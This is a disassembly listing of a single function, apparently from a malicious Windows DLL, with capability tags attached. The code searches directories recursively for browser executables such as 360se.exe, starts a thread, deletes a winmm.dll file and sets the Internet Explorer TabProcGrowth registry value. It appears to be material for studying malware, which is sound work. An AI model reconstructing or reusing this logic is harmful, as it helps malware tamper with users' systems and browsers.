Function at 0x1800261d0
Capabilities:
Create thread
Delete file
Enumerate files on windows
Enumerate files recursively
Set registry value

Disassembly:
push rbp
mov eax, 0x1940
call fcn.18006ba40
sub rsp, rax
lea rbp, [rsp + 0x50]
mov qword [rbp + 0x50], 0xfffffffffffffffe
mov qword [rbp + 0x1908], rbx
mov qword [rbp + 0x1910], rsi
mov qword [rbp + 0x1918], rdi
mov rax, qword [0x1800964f0]
xor rax, rbp
mov qword [rbp + 0x18e0], rax
mov rbx, rcx
mov qword [rbp + 0x10], rcx
xor eax, eax
mov esi, eax
mov dword [rbp + 8], eax
mov word [rbp + 0x10e0], ax
xor edx, edx
mov r8d, 0x7fe
lea rcx, [rbp + 0x10e2]
call fcn.180055310
mov rdx, rbx
lea rcx, [rbp + 0x10e0]
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
lea rdx, [0x180081c28]
lea rcx, [rbp + 0x10e0]
call qword [sym.imp.SHLWAPI.dll_StrCatW]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x10e0]
repne scasw ax, word [rdi]
not rcx
dec rcx
cmp rcx, 0x104
jae 0x180026b83
lea rdx, [rbp + 0x80]
lea rcx, [rbp + 0x10e0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov qword [rbp], rax
cmp rax, 0xffffffffffffffff
jne 0x1800262ad
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
jmp 0x180026b83
mov rdi, rax
lea rdx, [0x180081c30]
lea rcx, [rbp + 0xac]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x180026b55
lea rdx, [0x180081c34]
lea rcx, [rbp + 0xac]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
je 0x180026b55
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0xac]
repne scasw ax, word [rdi]
not rcx
lea rcx, [rbp + rcx*2 + 0xa2]
lea rdx, str..exe
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
test rax, rax
je 0x180026a8d
mov byte [rbp + 0xce0], 0
xor edx, edx
mov r8d, 0x3ff
lea rcx, [rbp + 0xce1]
call fcn.180055310
lea rax, [rbp + 0x3e8]
mov qword [rbp + 0x3e0], rax
mov r8d, 3
mov rdx, rbx
lea rcx, [rbp + 0x3e0]
call fcn.180028030
mov rdx, qword [rbp + 0x3e0]
lea rcx, [rbp + 0xce0]
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rdx, [rbp + 0x3e8]
mov rcx, qword [rbp + 0x3e0]
cmp rcx, rdx
je 0x180026383
call fcn.1800525d0
lea rax, [rbp + 0x3e8]
mov qword [rbp + 0x3e0], rax
mov r8d, 3
lea rdx, [rbp + 0xac]
lea rcx, [rbp + 0x3e0]
call fcn.180028030
mov rdx, qword [rbp + 0x3e0]
lea rcx, [rbp + 0xce0]
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rbp + 0x3e8]
mov rcx, qword [rbp + 0x3e0]
cmp rcx, rdx
je 0x1800263d6
call fcn.1800525d0
mov qword [rbp + 0x40], select
xor ebx, ebx
mov qword [rbp + 0x38], rbx
mov byte [rbp + 0x28], bl
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0xce0]
repne scasb al, byte [rdi]
not rcx
lea r8, [rcx - 1]
lea rdx, [rbp + 0xce0]
lea rcx, [rbp + 0x20]
call fcn.1800026a0
nop
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x58]
call fcn.18000ac80
nop
cmp qword [rbp + 0x40], 0x10
jb 0x18002642c
mov rcx, qword [rbp + 0x28]
call fcn.180050528
mov qword [rbp + 0x40], select
mov qword [rbp + 0x38], rbx
mov byte [rbp + 0x28], 0
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, qword [rbp + 0x60]
lea rax, [rbp + 0x2d8]
mov qword [rbp + 0x2d0], rax
mov r8d, 3
lea rcx, [rbp + 0x2d0]
call fcn.180028170
lea rdx, [rbp + 0x2d8]
mov rcx, qword [rbp + 0x2d0]
cmp rcx, rdx
je 0x180026482
call fcn.1800525d0
movsxd rdi, ebx
imul rdi, rdi, 0x208
lea rcx, str.360se.exe
add rdi, rcx
mov rdx, rdi
lea rcx, [rbp + 0xac]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x1800264f4
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0x10
cmovae rdx, qword [rbp + 0x60]
lea rax, [rbp + 0x2d8]
mov qword [rbp + 0x2d0], rax
mov r8d, 3
lea rcx, [rbp + 0x2d0]
call fcn.180028170
or esi, 1
mov rdx, rdi
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
jne 0x1800264f4
mov dil, 1
jmp 0x1800264f7
xor dil, dil
test sil, 1
je 0x180026518
and esi, 0xfffffffe
lea rax, [rbp + 0x2d8]
mov rcx, qword [rbp + 0x2d0]
cmp rcx, rax
je 0x180026518
call fcn.1800525d0
test dil, dil
jne 0x18002652d
inc ebx
cmp ebx, 4
jb 0x180026482
jmp 0x180026a73
lea rcx, [0x18009f660]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
xor edx, edx
mov r8d, 0x414
lea rcx, [rbp + 0x4e0]
call fcn.180055310
lea rdx, [rbp + 0xac]
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
mov rdx, qword [rbp + 0x10]
lea rcx, [rbp + 0x6e8]
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
lea rdx, [rbp + 0xac]
lea rcx, [rbp + 0x6e8]
call qword [sym.imp.SHLWAPI.dll_StrCatW]
mov dword [rbp + 0x8f0], ebx
cmp ebx, 3
je 0x18002659a
test ebx, ebx
jne 0x180026632
lea rcx, [rbp + 0x6e8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x1800265b7
xor edi, edi
mov rax, rdi
jmp 0x1800265fb
lea r8d, [rax + rax]
cdqe
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x1800265d3
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.18006ba40
sub rsp, rcx
lea rcx, [rsp + 0x50]
mov r9d, 3
lea rdx, [rbp + 0x6e8]
call fcn.180011710
xor edi, edi
mov rcx, rax
call fcn.180003000
cmp ebx, 3
jne 0x180026632
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], edi
lea r9, [rbp + 0x6e8]
lea r8, [0x180026080]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [rbx + 0x61]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x2d8]
mov qword [rbp + 0x2d0], rax
mov r8d, 3
lea rdx, [0x1800a5bd0]
lea rcx, [rbp + 0x2d0]
call fcn.180028170
lea rdx, [rbp + 0x4e0]
mov rcx, qword [rbp + 0x2d0]
call qword [sym.imp.SHLWAPI.dll_StrCmpIW]
test eax, eax
sete dil
lea rax, [rbp + 0x2d8]
mov rcx, qword [rbp + 0x2d0]
cmp rcx, rax
je 0x18002668b
call fcn.1800525d0
test dil, dil
je 0x1800267a4
mov eax, 1
mov dword [0x1800a4fe8], eax
mov rcx, qword [0x1800a7020]
sub rcx, qword [0x1800a7018]
movabs rax, 0x7d8c42b2836ed5d3
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x1800266e5
dec rdx
lea rcx, [0x1800a7000]
call fcn.180027cd0
cmp dword [rax + 0x410], ebx
je 0x1800267a4
lea rdx, [rbp + 0x4e0]
lea rcx, [0x1800a7000]
call fcn.180027d30
mov byte [rbp + 0x2d0], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x2d1]
call fcn.180055310
lea rcx, [rbp + 0x6e8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x18002672d
xor eax, eax
jmp 0x18002676f
lea r8d, [rax + rax]
cdqe
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x180026749
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.18006ba40
sub rsp, rcx
lea rcx, [rsp + 0x50]
mov r9d, 3
lea rdx, [rbp + 0x6e8]
call fcn.180011710
lea rdx, [rbp + 0x2d0]
nop word [rax + rax]
movzx ecx, byte [rax]
mov byte [rdx], cl
inc rax
inc rdx
test cl, cl
jne 0x180026780
lea r8, [rbp + 0x2d0]
lea rdx, str._____Path:_s___
xor ecx, ecx
call fcn.180028980
mov rcx, qword [0x1800a7020]
mov r8, qword [0x1800a7018]
sub rcx, r8
movabs rax, 0x7d8c42b2836ed5d3
imul rcx
sar rdx, 9
mov rax, rdx
shr rax, 0x3f
add rdx, rax
je 0x1800267fc
lea rdi, [rdx - 1]
cmp rdi, rdx
jb 0x1800267e7
call fcn.1800523b8
mov r8, qword [0x1800a7018]
imul rdi, rdi, 0x414
cmp dword [rdi + r8 + 0x410], ebx
jae 0x180026a65
lea rdx, [rbp + 0x4e0]
lea rcx, [0x1800a7000]
call fcn.180027d30
mov byte [rbp + 0x2d0], 0
xor edx, edx
mov r8d, 0x103
lea rcx, [rbp + 0x2d1]
call fcn.180055310
lea rcx, [rbp + 0x6e8]
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x180026844
xor eax, eax
jmp 0x180026886
lea r8d, [rax + rax]
cdqe
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x180026860
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.18006ba40
sub rsp, rcx
lea rcx, [rsp + 0x50]
mov r9d, 3
lea rdx, [rbp + 0x6e8]
call fcn.180011710
lea rdx, [rbp + 0x2d0]
nop dword [rax]
movzx ecx, byte [rax]
mov byte [rdx], cl
inc rax
inc rdx
test cl, cl
jne 0x180026890
lea r8, [rbp + 0x2d0]
lea rdx, str._____Path:_s___
xor ecx, ecx
call fcn.180028980
cmp dword [0x1800a30c8], 0
je 0x180026a36
cmp ebx, 3
jne 0x180026a65
lea rcx, [rbp + 0x2d0]
call fcn.1800377d0
mov byte [rbp + 0x3e0], 0
xor edx, edx
mov r8d, 0xff
lea rcx, [rbp + 0x3e1]
call fcn.180055310
mov rdi, qword [rbp + 0x10]
test rdi, rdi
jne 0x180026901
xor ebx, ebx
mov rax, rbx
jmp 0x18002695a
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_lstrlenW]
inc eax
cmp eax, 0x3fffffff
jle 0x18002691a
xor ebx, ebx
mov rax, rbx
jmp 0x18002695a
lea r8d, [rax + rax]
cdqe
add rax, rax
lea rcx, [rax + 0xf]
cmp rcx, rax
ja 0x180026936
movabs rcx, 0xffffffffffffff0
and rcx, 0xfffffffffffffff0
mov rax, rcx
call fcn.18006ba40
sub rsp, rcx
lea rcx, [rsp + 0x50]
mov r9d, 3
mov rdx, rdi
call fcn.180011710
xor ebx, ebx
lea rdx, [rbp + 0x3e0]
movzx ecx, byte [rax]
mov byte [rdx], cl
inc rax
inc rdx
test cl, cl
jne 0x180026961
lea rdi, [rbp + 0x3e0]
xor eax, eax
or rcx, 0xffffffffffffffff
repne scasb al, byte [rdi]
mov rax, qword [str.winmm.dll]
mov qword [rdi - 1], rax
movzx eax, word [0x180081c58]
mov word [rdi + 7], ax
movzx eax, byte [0x180081c5a]
mov byte [rdi + 9], al
lea rcx, [rbp + 0x3e0]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [rbp + 8], ebx
mov qword [rbp + 0x18], rbx
lea rax, [rbp + 0x48]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x18]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 0x2001f
mov dword [rsp + 0x20], ebx
xor r9d, r9d
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftInternet_ExplorerMain
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x180026a29
mov dword [rsp + 0x28], 4
lea rax, [rbp + 8]
mov qword [rsp + 0x20], rax
mov r9d, 4
xor r8d, r8d
lea rdx, str.TabProcGrowth
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rbp + 0x18]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
mov dword [0x1800a4fe8], eax
jmp 0x180026a65
lea rdx, [0x18007584f]
lea rcx, [0x1800a5bd0]
call qword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x180026a65
mov eax, dword [0x1800a4fe8]
cmp ebx, 3
mov ecx, 1
cmovge eax, ecx
mov dword [0x1800a4fe8], eax
lea rcx, [0x18009f660]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
nop
cmp qword [rbp + 0x78], 0x10
jb 0x180026a89
mov rcx, qword [rbp + 0x60]
call fcn.180050528
mov rbx, qword [rbp + 0x10]
jmp 0x180026a8d
mov rbx, qword [rbp + 0x10]
test byte [rbp + 0x80], 0x10
je 0x180026b51
xor eax, eax
mov word [rbp + 0x4e0], ax
xor edx, edx
mov r8d, 0x7fe
lea rcx, [rbp + 0x4e2]
call fcn.180055310
mov rdx, rbx
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.SHLWAPI.dll_StrCpyW]
lea rdx, [rbp + 0xac]
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.SHLWAPI.dll_StrCatW]
lea rdx, [0x180081c5c]
lea rcx, [rbp + 0x4e0]
call qword [sym.imp.SHLWAPI.dll_StrCatW]
xor eax, eax
or rcx, 0xffffffffffffffff
lea rdi, [rbp + 0x4e0]
repne scasw ax, word [rdi]
not rcx
dec rcx
cmp rcx, 0x104
jae 0x180026b45
lea rcx, [rbp + 0x4e0]
call fcn.180026e30
cmp eax, 1
je 0x180026b4b
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [0x1800a4fe8], 1
je 0x180026b6e
lea rcx, [rbp + 0x4e0]
call fcn.1800261d0
mov rdi, qword [rbp]
jmp 0x180026b55
mov rdi, qword [rbp]
jmp 0x180026b55
mov rdi, qword [rbp]
jmp 0x180026b55
mov rdi, qword [rbp]
lea rdx, [rbp + 0x80]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x180026b75
jmp 0x1800262b0
mov eax, 1
jmp 0x180026b83
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
mov rcx, qword [rbp + 0x18e0]
xor rcx, rbp
call fcn.180050540
mov rbx, qword [rbp + 0x1908]
mov rsi, qword [rbp + 0x1910]
mov rdi, qword [rbp + 0x1918]
lea rsp, [rbp + 0x18f0]
pop rbp
ret